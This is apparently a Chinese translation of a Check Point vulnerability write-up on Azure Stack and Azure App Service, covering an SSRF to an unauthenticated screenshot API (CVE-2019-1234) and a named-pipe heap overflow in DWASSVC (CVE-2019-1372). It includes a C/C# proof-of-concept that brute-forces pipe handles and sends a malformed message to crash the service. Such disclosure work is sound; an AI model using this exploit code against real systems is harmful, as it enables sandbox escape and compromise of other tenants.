一、概述

谈到云安全，我们就不得不提到，一部分客户往往盲目地信任云服务商自身提供的安全保障，而不再做额外的防护。纵观近几年来爆出的流行云漏洞，也许大家会认为，其中大多数漏洞都集中在客户端应用程序安全性上（包括不正确的配置或应用程序自身存在漏洞），而云服务商的基础架构本身则很少出现漏洞。但是，我们希望大家能够明白，云基础架构往往并不是绝对安全的。在本文中，我们将展示在Azure Stack上发现的多个攻击媒介和安全漏洞。

Check Point安全研究团队已经向Microsoft安全响应中心报告了本研究中发现的所有漏洞，同时以负责任的方式提供了解决方案，以确保其用户可以持续安全使用Azure Stack。

二、部署研究环境

对云组件进行安全研究往往比较困难，我们大多数情况下都在进行黑盒研究。但幸运的是，Microsoft有一个称为Azure Stack的本地Azure环境，主要提供给企业使用。此外，还有一个称为Azure Stack开发工具包（ASDK）的版本是免费的。我们只需要准备一台满足安装硬件要求的服务器，并遵循详细的安装指南进行安装即可。在安装完成后，我们将看到与Azure门户非常相似的用户门户和管理员门户。

默认情况下，ASDK带有一系列功能（核心组件），可以实现SQL Provider、APP Service等扩展。尽管如此，我们首先还是需要先看一下ASDK与Azure之间的不同。

Azure与ASDK之间的主要区别：

1、可扩展性：ASDK在资源有限的单个实例上运行，并且其所有角色都作为由Hyper-V处理的独立虚拟机运行，这会导致一些内部体系结构存在差异。

2、ASDK不会像Azure那样运行最新版本的软件，而是会落后几个版本。

3、与Azure相比，ASDK具有非常有限的功能。

三、Azure Stack概述

首先，我们看到的是Azure Stack门户，该门户提供了一个简单可访问的UI，其中包括模版、PowerShell等等。这些组件用于部署和管理资源，并且是Azure Stack中的常用界面。它们建立在Azure资源管理器（ARM）上并与之交互。ARM决定可以处理的请求以及需要传递给其他层的请求。

分区请求代理包括Azure Stack中的核心资源提供程序，每个资源提供程序都包含一个与ARM层相互交互的API。资源提供程序是允许我们与底层进行通信的工具，其中包括可以通过门户访问的用户/管理员扩展。

下一层中包含与基础结构角色进行通信的基础结构控制器，包含一组内部API，这些API不对用户公开。

基础结构角色负责执行诸如计算、网络、存储等任务。

最后，基础结构角色中包含Azure Stack的所有管理组件，与基础硬件层进行交互，将硬件功能抽象为Azure Stack提供的上层软件服务。

ASDK基于Hyper-V，这意味着其所有角色在宿主服务器上都作为独立的虚拟机运行。基础架构包含独立的虚拟网络，可以将虚拟机与宿主机相隔离。

默认情况下，部署了多个基础结构角色，具体如下：

AzS-ACS01   Azure Stack存储服务

AzS-ADFS01  活动目录联合服务（ADFS）

AzS-CA01     Azure Stack角色服务的证书颁发机构服务

AzS-DC01     Azure Stack的活动目录、DNS和DHCP服务

AzS-ERCS01  紧急恢复控制台虚拟机

AzS-GWY01  边缘网管服务，例如：用于租户网络的VPN站点到站点连接

AzS-NC01    网络控制器，用于管理Azure Stack网络服务

AzS-SLB01    在Azure Stack中为租户和Azure Stack基础结构服务提供负载均衡多路复用服务

AzS-SQL01   用于Azure Stack基础结构角色的内部数据存储

AzS-WAS01  Azure Stack管理员门户和Azure资源管理服务

AzS-WASP01       Azure Stack用户（租户）门户和Azure资源管理服务

AzS-XRP01   Microsoft Azure Stack的基础结构管理控制器，包括计算、网络和存储资源提供程序

（来源：https://docs.microsoft.com/en-us/azure-stack/asdk/asdk-architecture）

如果我们将上图的核心抽象层拆分为主虚拟机：

资源管理层：AzS-WAS01、AzS-WASP01

资源提供层+基础结构控制层：AzS-XRP01

接下来，我们来看一个具体的示例，在示例中将具体说明上图中所有抽象层是如何协同工作的。

如果租户想要停止Azure Stack中的虚拟机，那么在内部会执行什么样的操作呢？

1、租户可以使用用户门户/CLI/PowerShell执行此操作，所有这些接口最终都会向运行在Azs-WASP01中的ARM（Azure资源管理器）发送描述相应操作的HTTP请求。

2、ARM执行必要的检查（例如：检查所需资源是否存在，或者是否属于该租户），然后尝试执行该操作。ARM有一些无法自行处理的操作，例如计算、存储等。因此，它会讲带有附加参数的请求转发到处理虚拟机计算操作（运行在Azs-XRP01上）的相应资源提供程序。

3、在最终关闭Hyper-V集群中的虚拟机之前，还存在一个内部的API请求链，其结果将在请求链中反馈给租户。

接下来，我们将详细描述在内部服务中发现的一些问题，这些问题可以导致我们获取到租户和基础设施机器的屏幕截图。

四、获取屏幕截图和信息泄漏漏洞（CVE-2019-1234）

Service Fabric Explorer是预先安装在计算机中的Web工具，它作为资源提供和基础结构控制层（AzS-XRP01）的角色。该工具可以让我们能够查看构建为Service Fabric 应用程序的内部服务（位于资源提供层）。

当我们尝试从Service Fabric Explorer访问服务的URL时，我们注意到其中有一些是不需要进行身份验证的，而通常情况需要进行证书身份验证或HTTP身份验证。

由此，我们就产生了一些问题：

*这些服务为什么不要求认证？

*暴露了什么API？

这些服务是使用C#编写的，并且其源代码不是公开的，因此我们需要使用反编译器来进行研究，这就需要我们了解Service Fabric应用程序的结构。

其中，有一个不需要身份验证的服务是“DataService”。我们首先需要找到该服务在Azs-XRP01计算机上的位置。通过运行WMI查询列出正在运行的进程，我们就很容易发现这一点：

其结果展现了主机上所有Service Fabric服务的位置，包括DataService。在DataService代码文件夹中执行目录列表会显示出很多DLL，其名称往往表示其作用：

通过对DLL进行反编译，我们可以探索代码，并找到API HTTP路由的映射：

我们可以看到，如果HTTP URI与路由模板其中的一个相匹配，则该请求由特定的控制器处理，这是常见的REST API实现。大多数路由模板中都包含我们目前还不太了解的参数。因此，我们是选开始研究不需要其他参数的参数：

QueryVirtualMachineInstanceView
QueryClusterInstanceView

由于Azure Stack在我们的计算机上本地运行，因此我们可以在本地浏览这些API以查看它们会如何响应。

访问virtualMachines/allocation API（QueryVirtualMachineInstanceView）时，会返回一个大型XML/JSON文件（取决于发送的Accept标头），其中包含有关位于集群中Hyper-V节点上的基础架构/租户计算机的大量数据。

这是返回信息的摘要。我们在这里可以看到一些值得关注的内容，例如虚拟机名称和ID、硬件信息（例如：内核、总内存等）。

既然我们知道，有一个API可以提供有关基础设施/租户机器的信息，那么我们可以分析其他参数的API调用。例如，VirtualMachineScreenshot看起来非常有意思，所以让我们看看它是如何工作的。

根据模板，必须提供几个参数，以通过VirtualMachineScreenshot控制器路由请求：

1、virtualMachineId：我们要在其中调用操作的计算机ID，该ID由QueryVirtualMachineInstanceView API调用提供。

2、heightPixels、widthPixels：屏幕截图的尺寸。

在提供所有这些参数后，将调用GetVirtualMachineScreenshot参数：

如果虚拟机ID有效且存在，则调用GetVmScreenshot函数。实际上，这里会将请求“代理”到另一个内部服务中。

我们可以看到，它使用指定的参数创建了一个新的请求，并将其传递给请求执行器。将要处理该请求的内部服务被称为“计算集群管理器”（位于基础结构控制层中）。从名称可以看出，它负责管理计算集群，并且可以执行相关操作。让我们看看该服务如何处理屏幕截图请求：

首先，我们看到的是这个包装器函数，该函数在vmScreenshotCollector实例上调用另一个GetVmScreenshot。但是，我们发现其中有一个新参数，即一个用于确定集群是否仅包含一个主机/节点的标志。

在GetVirtualMachineOwnerNode确定虚拟机位于集群的哪个节点之后，将会调用GetVmThumbnail函数：

看上去，该函数构造了一个远程PowerShell命令，该命令在计算节点上执行（这是大多数计算操作的工作方式）。我们来看一下计算节点，看看Get-CpiVmThumbnail是如何实现的：

这是该功能的PowerShell实现，看上去它执行了GetVirtualSystemthumbnailImage，这是一个Hyper-V WMI调用，可以获取虚拟机的缩略图。缩略图是Hyper-V中，计算机概述左下方的小窗口：

Azure Stack和Azure可以从模板部署资源。模板可以从本地文件或远程URL加载。这是一个非常简单的功能，但其中可能存在SSRF的问题，因为它向URL发送GET请求以检索数据。下面是远程模板加载（Ajax）的实现：

GetStringAsync函数将HTTP GET请求发送到templateUri，并将数据作为JSON返回。在这里，没有对主机类型是内部主机或外部主机（支持IPv6）进行验证。因此，这里是SSRF的最理想目标。综上所述，虽然这里只允许GET请求，但足以访问DataService。

我们来看一个例子，假如我们想从ID为f6789665-5e37-45b8-96d9-7d7d55b59be6的计算机上获取屏幕截图，尺寸为800x600：

我们得到的响应将是经过Base 64编码的原始图像数据。

现在，我们可以用获取到的数据转换为实际图像。下面是使用PowerShell的示例：

我们将得到此图像：

至此，我们已经展示了如何利用一个较小的逻辑漏洞来实现一个严重的漏洞利用。在这里，由于DataService不需要身份验证，因此使我们最终能获取到有关租户和基础设施主机的屏幕截图和信息。

接下来，我们将深入研究Azure APP Serivce的内部结构，并研究其体系结构、攻击媒介，并演示在其中一个组件中发现的高危漏洞如何影响Azure云。

五、Azure APP Service概述

根据Microsoft的说法，Azure APP Service让我们可以使用自己选择的编程语言来构建和托管Web应用程序、移动后端和REST API，而无需管理基础结构。这里能提供自动缩放和高可用性，同时支持Windows和Linux，并支持从GitHub、Azure DevOps或任何Git存储库进行自动部署。

5.1 Azure应用服务架构

Azure APP Service体系结构可以分为以下六种类型的角色：

1、控制：管理应用程序服务。控制器管理和监视应用程序服务。它在其他角色中执行WinRM功能，以部署软件并确保一切正常。

2、文件服务：应用程序内容。存储租户的应用程序和数据。

3、管理：API、UI扩展和数据服务。管理角色是API、UI扩展、租户门户和管理门户托管的位置。

4、前端：应用程序服务路由。前端是负载平衡器。在Azure Stack中所有软件负载平衡器的后面是App Service的负载平衡器，它动态决定要将请求发送到哪个Web Worker。

5、发布：FTP、Web部署。发布者在Web Deploy终端中公开FTP，以将所有租户应用程序文件内容部署到文件服务器上。

6、Web Worker：应用程序主机。承载应用程序的服务器，数量越多越好。这是我们重点关注的位置。

现在，我们已经了解应用程序的作用，接下来我们研究一下它们是如何相互作用的。以下是基本示意图，使用默认的应用服务配置：

5.2 关于Web Worker

如前所述，租户应用程序在Web Worker主机内部运行，这意味着它可以使用受支持的语言运行任何代码。如果租户决定运行可以篡改Web Worker主机，甚至是其他正在运行的应用程序的恶意代码，将会发生什么？这是一个有趣的问题，但首先，我们来深挖一些内部结构。

六、Microsoft Web托管框架

其代号为Antares，它为运行租户应用程序提供了平台，其中包含几个组成部分：

6.1 DWASSVC

该服务负责管理和运行租户应用程序。通常，会为每个租户应用程序创建两个或多个IIS工作进程（w3wp.exe）。第一个进程运行Kudu，这将允许租户以简单且可访问的方式管理自己的应用程序。第二个进程实际上运行租户应用程序。这些进程都是“完整的应用程序”，在具有相对较低权限的同一用户下运行。

这项服务还有很多细节，我们将在后面讨论。

6.2 内核模式沙箱

RsFilter.sys是最值得关注的组件之一，这是过滤器驱动程序，是另一个不包含公公符号的Azure专有组件。我们可以进行逆向工程详细分析其原理，但在这里，我们仅简要介绍其主要功能。

6.3 进程创建/删除跟踪

它使用PsSetCreateProcessNotifyRoutine回调跟踪每个进程的创建或删除。

内核为“沙箱化进程”创建了两个主要结构。其中的第一个结构是ProcessInfo，其中包含有关进程的信息，例如句柄、进程ID、映像文件名等。下面是IDA Pro中的摘要：

其中的第二个结构是ProcessInfo结构中的属性，我们将其称为SandboxSettings。这个结构非常庞大，包含有关进程的沙箱环境的信息，例如：进程/线程数量限制、网络端口限制、环境路径等。如下所示：

一旦创建了ProcessInfo结构，就可以将其插入到全局表中，以便内核驱动程序可以对其进行跟踪。这里要注意的一个有趣概念是，可以在同一沙箱的其他进程之间共享SandboxSettings。例如：租户应用程序，其子进程和Kudu具有不同的ProcessInfo结构，但具有相同的SandboxSettings。

6.4 IOCTLs和FltPort通信

这些是从用户空间到驱动程序的主要通信接口。其中的一些IOCTL可以被任何人调用，而一些则需要特定权限。要连接到过滤器端口（FLT）需要较高的权限。可以通过这个端口来更改沙箱的设置。

6.5 文件系统过滤器

RsFilter注册了许多与文件系统相关的回调，以执行其任务。

如果大家曾经使用过Azure APP Service，可能会了解，我们的应用程序可以访问D:\home并转到主目录。但是，这是如何实现的呢？每个租户应用程序如何通过访问这个路径来获取自己的主目录？答案在于PreFilterOnCreateCallback函数。在前面，我们提到过SandboxSettings结构，其属性之一就是sandboxRemotePath，其中包含指向应用程序存储位置的UNC文件共享路径。DWASSVC通过使用公开的过滤器端口（FltPort）与驱动程序进行通信，在IIS工作进程启动时设置此路径。因此，当应用程序尝试访问D:\home或其他特殊路径时，过滤器驱动程序就会进行匹配，并立即将其替换为正确的路径。

其他的回调实现了文件系统限制，例如磁盘配额、目录/文件计数等。

6.6 网络过滤器

网络过滤器实现了一些安全机制，以防止数据泄露或攻击面的增加。其中包含端口白名单和本地端口过滤。例如，我们的应用程序无法连接到未监听的本地端口。此外，其中还包含最大连接数限制、IP网段白名单、禁用原始套接字等。

其中，在SMB 445和139端口黑名单中，我们是否可以发现潜在的问题？

6.7 用户模式沙箱

每个IIS工作进程都加载一个名为RsHelper.dll的DLL，它使用Microsoft的Detours库进行编译，并从DLL中获取了很多功能，例如：kernel32.dll、advapi32.dll、ws2_32.dll、httpapi.dll、ntdll.dll等。其中最有趣的部分是它还挂钩了CreateProcessA/W函数。在调用这些函数时，它使用了一种众所周知的DLL注入技术（CreateRemoteThread），并将其自身注入到创建的进程中。这是我们第一次看到DLL诸如的合法用途。通过查看这些挂钩函数，我们可以看到Microsoft几乎已经实施了此功能，以防止租户应用程序获取其不一定需要在Web Worker计算机上获取的内部信息。

有关App Service沙箱的详细信息，请参阅这篇参考文章，其中详细介绍了其功能。我们可以确认，其中的大多数功能都已经实现。但是，还存在一些遗漏的限制，例如对Win32k.sys (User32/GDI32)的限制。也就意味着，它们实际上可能在公有云上实现。

在了解App Service的工作原理之后，我们开始在本地攻击场景中寻找漏洞。

七、远程代码执行漏洞（CVE-2019-1372）

在本章中，我们将展开说明在DWASSVC中发现的漏洞的详细信息，在利用该漏洞后，我们可以以NT AUTHORITY/SYSTEM的身份执行代码。

在研究的过程中，我们使用了Process Explorer（来自SysInternals Suite）检查正在运行的进程，并查看这些进程是如何执行的，以及使用了哪些命令行、模块等。在命令行中，我们发现了一些值得关注的参数：

我们可以看到，其中的“-a”参数随命名管道路径一起提供。我们不禁好奇，通过这个管道发送的是什么数据？我们是否可以影响其内容？为了解答这个问题，我们首先需要了解是有谁创建了这个管道。DWASSVC启动了工作进程。由于这里是使用C#编写的，所以我们使用反编译器来查看其代码。在创建新工作线程之前，服务首先创建一个命名管道以与其进行通信。我们可以在WorkerProcess.cs:Start的Microsoft.Web.Hosting.ProcessModel.dll反编译源代码中看到：

CreateIpmPipe是在DWASInterop.dll中实现的本机函数：

为了能深入研究DWASInterop.dll，我们必须对其进行完整的逆向。这个过程需要一些时间，因为没有公共符号，并且这里是使用C++编写的。但是，有许多调试字符串公开了函数名称，并且我们还注意到该DLL与IIS（具有公共符号）中的iisutil.dll共享代码。通过分析其中存在的不同点，有助于我们进行逆向工程。

我们首先来看一下CreateIpmPipe的内部实现：

我们可以看到对内部CreateIpmMessagePipe函数的调用：

CreateIpmMessagePipe调用CreateNamedPipeW来创建命名管道。如果我们查看参数，可以发现它使用了PIPE_ACCESS_DUPLEX，这意味着管道是双向的，服务器（DWASSVC）和客户端（w3wp.exe）都可以对这个管道进行读写，虽偶结束并返回C#程序。在返回后，DWASSVC启动工作进程，并将管道名称作为参数传递（-a标志）。在工作进程启动后，它将连接到管道，并开始通信。

所以，现在我们知道了命名管道是如何创建的，但为什么要创建呢？答案在于——进程间通信。举例来说，其中的一个“Worker Shutdown Request”消息，DWASSVC可以发送一个关闭请求，而不是直接关闭工作进程。除此之外，还有很多其他的例子。到这里，我们开始对协议的实现感兴趣，我们希望了解是否可以在其中发现任何漏洞。

这是工作进程可以发送到DWASSVC服务的消息的结构，我们称之为WorkerItem：

DWORD opcode（4字节）：操作码

DWORD dataLength（4字节）：数据长度

Data：实际数据

当DWASSVC收到消息（DWASInterop.dll）时，将调用IPM_MESSAGE_PIPE::MessagePipeCompletion回调。传递给它的第一个也是唯一的参数是IPM_MESSAGE_IMP实例。

IPM_MESSAGE_IMP是DWASInterop用来描述消息的特殊类，其中并没有很多字段。下面是对类进行逆向工程后得到的结果：

其中包含一个指向workerItem的指针，并且还包含一个名为workerItemSize的属性，该属性是workerItem的大小。在workerItemSize中保存了workerItem的完整大小（即操作码+长度+数据），而workerItem.dataLength则仅保存了数据长度。

当IPM_MESSAGE_PIPE::MessagePipeCompletion收到一条消息时，将出现一个有趣的边界情况：

读取数据时，将调用ReallocateWorkerItem函数。

随后对新worker item进行简单分配，然后将先前的数据复制到新结构之中。

调用此函数时，将传递workerItem->dataLength，并以该大小执行新worker item的分配。但是，memcpy是使用workerItemSize执行的。如果通过DWASInterop.dll或iisutil.dll导出的API（WriteMessage API函数）发送消息，则会自动计算这两个大小。但是，如果攻击者可以将消息直接发送到命名管道，那么就可以发送类似的消息，如下所示：

DWORD opcode（4字节）：0x16（在这一阶段并不重要）

DWORD dataLength（4字节）：0

data：A*100（长字符串）

workerItemSize的计算结果是108，workerItem->dataLength为0。在这种情况下，大小为0的分配成功完成，然后对大小为108的分配区域执行了memcpy，最终导致内容和大小受控的堆溢出。

那么，攻击者如何向DWASSVC（DWASInterop.dll）发送消息呢？根据设计，当运行C# Azure函数时，将会在Worker（w3wp.exe）的上下文中运行。这将导致攻击者可以枚举当前打开的句柄。于是，攻击者最终能够找到已经打开的命名管道句柄并发送特制的消息。下面是我们尝试触发漏洞的方式：

using System.Net;
using System.Runtime.InteropServices;
[DllImport("YOUR_DLL_NAME")]
public static extern void load();
public static async Task Run(HttpRequestMessage req, TraceWriter log)
{
       load();
       log.Info("C# HTTP trigger function processed a request.");
       return req.CreateResponse(HttpStatusCode.OK, "Malicious Function");
}

我们创建了一个C# Azure函数，该函数加载本地DLL并调用load函数。

#include #include #include  
#pragma warning(disable: 4996)# define MAX_PATH_LEN 2048# define MAX_BUFF_LEN 2048# define IPM_BUFFER_LEN(0x800)
 
typedef struct _pipedata {
  unsigned int opcode;
  unsigned int length;
  char data[IPM_BUFFER_LEN];
}
PIPE_DATA;
 
extern "C"
__declspec(dllexport) int load(void) {
  FILE * fh = NULL;
 
  char path[256];
  sprintf(path, "D:\\home\\output_%d_.txt", GetCurrentProcessId());
  fh = fopen(path, "wb");
 
  if (NULL != fh) {
    int i = 0;
    for (i = 1; i < 10000; i++) {
      DWORD type = GetFileType((HANDLE) i);
 
      if (FILE_TYPE_PIPE == type) {
        PFILE_NAME_INFO fi;
        DWORD structSize = (MAX_PATH_LEN * sizeof(wchar_t)) + sizeof(FILE_NAME_INFO);
        fi = (PFILE_NAME_INFO) malloc(structSize);
 
        if (fi == NULL)
          continue;
 
        memset(fi, 0, structSize);
 
        if (NULL != fi) {
          if (GetFileInformationByHandleEx((HANDLE) i, FileNameInfo, fi, structSize)) {
            if (wcsstr(fi - > FileName, L "iisipm")) {
              fprintf(fh, "Pipe: %x - %S\n", i, fi - > FileName);
              fflush(fh);
 
              DWORD writtenBytes = 0;
              OVERLAPPED overlapped;
              memset( & overlapped, 0, sizeof(OVERLAPPED));
 
              PIPE_DATA pipedata;
              memset( & pipedata, 'a', sizeof(PIPE_DATA));
 
              pipedata.opcode = 0x0A;
              pipedata.length = 0;
              if (WriteFile((HANDLE) i, & pipedata, sizeof(PIPE_DATA), & writtenBytes, & overlapped)) {
                fprintf(fh, "Successfully writen: %d bytes into %d\n", writtenBytes, i);
                fflush(fh);
              } else {
                fprintf(fh, "Failed to write into %d\n", i);
                fflush(fh);
              }
            }
          } else {
            fprintf(fh, "Error: %x, %d\n", i, GetLastError());
            fflush(fh);
          }
 
          free(fi);
        }
      }
    }
    fclose(fh);
  }
 
  return 0;
}
 
BOOL APIENTRY DllMain(HMODULE hModule,
  DWORD ul_reason_for_call,
  LPVOID lpReserved
) {
  switch (ul_reason_for_call) {
  case DLL_PROCESS_ATTACH:
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

Load函数会强制使用句柄，直到找到名称以“iisipm”开头的已打开句柄为止。然后，它构造恶意消息并发送，最终将导致DWASSVC崩溃。

尽管在这里我们只演示了导致崩溃的代码，但实际上可以利用该漏洞进行特权提升。

Microsoft有各种应用程序服务方案，而这些方案均会受到该漏洞的影响：

1、共享计算：包括免费和共享两种类型，与其他App Service应用程序（包括其他客户的应用程序）在同一个Azure虚拟机上运行应用程序。这些层为共享资源中运行的每个应用分配 CPU 配额，且资源不可横向扩展。

2、专用计算：包括基本、标准、高级、PremiumV2四种类型，在专用的Azure虚拟机上运行应用程序。只有同一个App Service方案中的应用程序可以共享相同的计算资源。其中的层越高，可用于扩展的虚拟机实例就越多。

3、隔离：在专用的Azure虚拟网络上运行专用的Azure虚拟机。在为应用程序提供计算隔离的基础上还提供网络隔离，具有最大程度的横向扩展能力。

在上述所有方案中，我们都可以利用该漏洞破坏Microsoft APP Service基础结构。并且，在免费和共享类型的计划中，利用该漏洞可能会导致其他租户的应用程序、数据和帐户遭受破坏，该漏洞能打破App Service的安全模型。

八、结论

云主机并不是一个神奇的地方。尽管它常常被人们认为是安全的，但实际上其基础结构中也可能会存在具有漏洞的代码，就如同我们在本文中演示的那样。

目前，Microsoft已经披露并修复了SSRF漏洞（CVE-2019-1234），并从Microsoft的漏洞赏金计划中得到了5000美元的奖励。未经身份验证的内部API漏洞也已经由Microsoft发现，并且在2018年底的Azure Stack 1811中实现修复。

第二个远程代码执行漏洞也已经由Microsoft披露并修复，分配编号为CVE-2019-1372。Microsoft承认该漏洞在修复前可以在Azure Cloud和Azure Stack上利用。

本文翻译自：https://research.checkpoint.com/2020/remote-cloud-execution-critical-vulnerabilities-in-azure-cloud-infrastructure-part-i/ 与 https://research.checkpoint.com/2020/remote-cloud-execution-critical-vulnerabilities-in-azure-cloud-infrastructure-part-ii/如若转载，请注明原文地址